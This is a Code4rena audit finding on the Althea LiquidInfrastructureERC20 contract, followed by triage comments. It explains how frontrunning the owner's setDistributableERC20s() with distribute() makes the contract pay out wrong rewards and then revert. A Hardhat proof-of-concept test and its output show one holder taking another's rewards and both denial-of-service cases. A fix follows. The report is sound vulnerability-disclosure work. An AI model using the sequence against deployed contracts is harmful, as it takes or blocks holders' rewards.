`setDistributableERC20s()` can be frontrun to distribute incorrect token rewards and DoS `distribute()`

[c4-bot-2]

Lines of code

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L441-L445 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L198-L237 https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L257-L281

Vulnerability details

setDistributableERC20s() can be frontrun to distribute incorrect token rewards and DoS distribute()

When the owner sets the reward tokens array distributableERC20s by calling setDistributableERC20s(), an attacker can frontrun the call with distribute() which can cause incorrect reward amounts to be distributed and distribute() can be DoSed.

    function setDistributableERC20s(
        address[] memory _distributableERC20s
    ) public onlyOwner {
        distributableERC20s = _distributableERC20s;
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L441-L445

When a call to distribute() is triggered, it will call _beginDistribution to begin distribution, and calculate reward amounts for each token, pushing it to the erc20EntitlementPerUnit array. Afterwards, distribution is locked in with LockedForDistribution = true; and subsequent calls to distribute will not call _beginDistribution.

    function distribute(uint256 numDistributions) public nonReentrant {
        require(numDistributions > 0, "must process at least 1 distribution");
        if (!LockedForDistribution) {
            require(
                _isPastMinDistributionPeriod(),
                "MinDistributionPeriod not met"
            );
            _beginDistribution();
        }
...
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L198-L206

    function _beginDistribution() internal {
        require(
            !LockedForDistribution,
            "cannot begin distribution when already locked"
        );
        LockedForDistribution = true;

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L257-L262

However, if the owner decides to update distributableERC20s during distribution, then incorrect rewards can be calculated due to erc20EntitlementPerUnit not being updated, causing too little or too many rewards to be distributed, and the whole distribute() function possibly DoSed.

        uint256 supply = this.totalSupply();
        for (uint i = 0; i < distributableERC20s.length; i++) {
            uint256 balance = IERC20(distributableERC20s[i]).balanceOf(
                address(this)
            );
            uint256 entitlement = balance / supply;
            erc20EntitlementPerUnit.push(entitlement);
        }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L270-L277

An attacker can look out for calls to setDistributableERC20s() and frontrun the transaction by calling distribute() with a higher gas fee, causing it to get executed first, and the owner's call to setDistributableERC20s() to be executed during distribution.

If distributableERC20s consists of [a,b], then the owner decides to update it to [b], an attacker can frontrun and call distribute() to be executed before the owner's call, causing the rewards per unit for token a to be used for b as erc20EntitlementPerUnit is not updated.

If the contract's balance of a is greater than b, too many rewards will be distributed, and either distribute() reverts as the contract lacks token b to distribute, or the current recipient steals reward tokens from the next recipient, eventually leading to DoS when the contract runs out of token b. If the contract's balance of a is less than b, then too little rewards will be distributed.

In another scenario, if [a,b] is extended to [a,b,c] after distribution starts, then distribute will be DoSed as erc20EntitlementPerUnit[j] becomes out of bounds and reverts.

    function distribute(uint256 numDistributions) public nonReentrant {
...
                for (uint j = 0; j < distributableERC20s.length; j++) {
                    IERC20 toDistribute = IERC20(distributableERC20s[j]);
                    uint256 entitlement = erc20EntitlementPerUnit[j] *
                        this.balanceOf(recipient);
                    if (toDistribute.transfer(recipient, entitlement)) {
                        receipts[j] = entitlement;
                    }
                }
...
    }

https://github.com/code-423n4/2024-02-althea-liquid-infrastructure/blob/main/liquid-infrastructure/contracts/LiquidInfrastructureERC20.sol#L198-L237

Impact

An attacker can frontrun to cause incorrect rewards to be distributed, possibily stealing rewards, and the distribute function can be DoSed.

Proof of Concept

The below code demonstrates too many rewards being distributed, therefore stealing rewards of subsequent holders, and also distribute being DoSed two different ways. Add this test to liquidERC20.ts:

  it("Frontrunning to cause incorrect rewards calculation and DoS", async function () {
    const { infraERC20, erc20Owner, testERC20A, testERC20B, testERC20C, nftAccount1, holder2, holder3, holder4 } = await liquidErc20Fixture();
    // Setting up nfts, reward tokens, holders
    const holders = [holder2, holder3, holder4];
    for (let holder of holders) {
      const address = holder.address;
      await expect(infraERC20.approveHolder(address)).to.not.be.reverted;
    }
    const nftOwners = [nftAccount1]
    let nft1 = await deployLiquidNFT(nftAccount1)
    const erc20s: ERC20[] = [testERC20A, testERC20B]
      nft1.setThresholds(
        erc20s,
        erc20s.map(() => 0)
      )
    await transferNftToErc20AndManage(infraERC20, nft1, nftAccount1);
    await mine(1);
    nft1 = nft1.connect(erc20Owner);

    // Contract has more reward tokens A than B
    // A: 20000 tokens
    // B: 10000 tokens
    const rewardAmount1 = 20000;
    await testERC20A.transfer(await nft1.getAddress(), rewardAmount1);
    expect(await testERC20A.balanceOf(await nft1.getAddress())).to.equal(
      rewardAmount1
    );
    const rewardAmount2 = 10000;
    await testERC20B.transfer(await nft1.getAddress(), rewardAmount2);
    expect(await testERC20B.balanceOf(await nft1.getAddress())).to.equal(
      rewardAmount2
    );
    await infraERC20.withdrawFromAllManagedNFTs()

    // distributableERC20s is initially [A,B]
    await infraERC20.connect(erc20Owner).setDistributableERC20s(
      [testERC20A, testERC20B]
    )
    console.log("Total reward token testERC20A available:", await testERC20A.balanceOf(infraERC20))
    console.log("Total reward token testERC20B available:", await testERC20B.balanceOf(infraERC20))

    // all holders have same amount of infraERC20 tokens, so *should*
    // recieve the same amount of reward tokens
    await infraERC20.mint(holder2, 1)
    await infraERC20.mint(holder3, 1)
    await infraERC20.mint(holder4, 1)
    expect(await infraERC20.balanceOf(holder2)).to.eq(await infraERC20.balanceOf(holder3))
    expect(await infraERC20.balanceOf(holder3)).to.eq(await infraERC20.balanceOf(holder4))

    console.log("===BEFORE DISTRIBUTION===")
    console.log("Balance of holder2 - testERC20A:", await testERC20A.balanceOf(holder2),
    "testERC20B", await testERC20B.balanceOf(holder2))
    console.log("Balance of holder3 - testERC20A:", await testERC20A.balanceOf(holder3),
    "testERC20B", await testERC20B.balanceOf(holder3))
    console.log("Balance of holder4 - testERC20A:", await testERC20A.balanceOf(holder4),
    "testERC20B", await testERC20B.balanceOf(holder4))

    // distribute reward tokens
    await mine(500)
    // attacker frontruns owner's call to `setDistributableERC20s()`
    // with `distribute(1)` to begin distribution
    // this calls `_beginDistribution` which sets `erc20EntitlementPerUnit`
    // holder2 receives their correct rewards for A and B
    await infraERC20.distribute(1)
    // owner updates `distributableERC20s` to only [B]
    await infraERC20.connect(erc20Owner).setDistributableERC20s(
      [testERC20B]
    )
    // holder3 recieves twice as many rewards as expected,
    // stealing the reward tokens of holder4
    await expect(infraERC20.distribute(1)).to.not.be.rejected
    // now the contract lacks token B rewards to distribute,
    // causing `distribute` to be DoSed
    await expect(infraERC20.distribute(1)).to.be.rejectedWith("ERC20: transfer amount exceeds balance")
    await expect(infraERC20.distributeToAllHolders()).to.be.rejectedWith("ERC20: transfer amount exceeds balance")

    console.log("===AFTER DISTRIBUTION===")
    console.log("Balance of holder2 - testERC20A:", await testERC20A.balanceOf(holder2.address),
    "testERC20B", await testERC20B.balanceOf(holder2.address))
    console.log("Balance of holder3 - testERC20A:", await testERC20A.balanceOf(holder3.address),
    "testERC20B", await testERC20B.balanceOf(holder3.address))
    console.log("Balance of holder4 - testERC20A:", await testERC20A.balanceOf(holder4),
    "testERC20B", await testERC20B.balanceOf(holder4))

    // another DoS scenario: owner updates `distributableERC20s` 
    // to [A,B,C] during distribution
    // reset `distributableERC20s` back to [A,B]
    // need to also give contract enough reward tokens for holder4,
    // otherwise it will revert with 'ERC20: transfer amount exceeds balance'
    // because of the previous interactions
    await infraERC20.connect(erc20Owner).setDistributableERC20s(
      [testERC20A, testERC20B]
    )
    await testERC20B.transfer(infraERC20, 10000)
    await infraERC20.distributeToAllHolders();

    // new distribution period
    await mine(500);
    // attacker frontruns owner's call to 
    // `setDistributableERC20s` with `distribute(1)`
    await infraERC20.connect(holder2).distribute(1)
    await infraERC20.connect(erc20Owner).setDistributableERC20s(
      [testERC20A, testERC20B, testERC20C]
    )
    // distribute is DoSed due to array out of bounds
    await expect(infraERC20.distribute(1)).to.be.rejectedWith("VM Exception while processing transaction: reverted with panic code 0x32 (Array accessed at an out-of-bounds or negative index)")
    await expect(infraERC20.distributeToAllHolders()).to.be.rejectedWith("VM Exception while processing transaction: reverted with panic code 0x32 (Array accessed at an out-of-bounds or negative index)")
  });

Output after running npx hardhat test --grep Frontrunning:

  LiquidInfrastructureERC20 tests
Total reward token testERC20A available: 20000n
Total reward token testERC20B available: 10000n
===BEFORE DISTRIBUTION===
Balance of holder2 - testERC20A: 0n testERC20B 0n
Balance of holder3 - testERC20A: 0n testERC20B 0n
Balance of holder4 - testERC20A: 0n testERC20B 0n
===AFTER DISTRIBUTION===
Balance of holder2 - testERC20A: 6666n testERC20B 3333n
Balance of holder3 - testERC20A: 0n testERC20B 6666n
Balance of holder4 - testERC20A: 0n testERC20B 0n
    ✔ Frontrunning to cause incorrect rewards calculation and DoS (1177ms)

Tools Used

VSCode, Hardhat

Recommended Mitigation Steps

Do not allow distributableERC20s to be set during distribution, by adding this check in setDistributableERC20s():

    function setDistributableERC20s(
        address[] memory _distributableERC20s
    ) public onlyOwner {
+       require(!LockedForDistribution, "cannot set distributableERC20s during distribution");
        distributableERC20s = _distributableERC20s;
    }

Or update erc20EntitlementPerUnit when distributableERC20s is set. Or use a mapping mapping(address => uint256) to track rewards per unit for each token.

Assessed type

Other

[c4-pre-sort]

0xRobocop marked the issue as duplicate of #151

[c4-pre-sort]

0xRobocop marked the issue as duplicate of #260

[c4-judge]

0xA5DF marked the issue as satisfactory

[c4-judge]

0xA5DF changed the severity to 2 (Med Risk)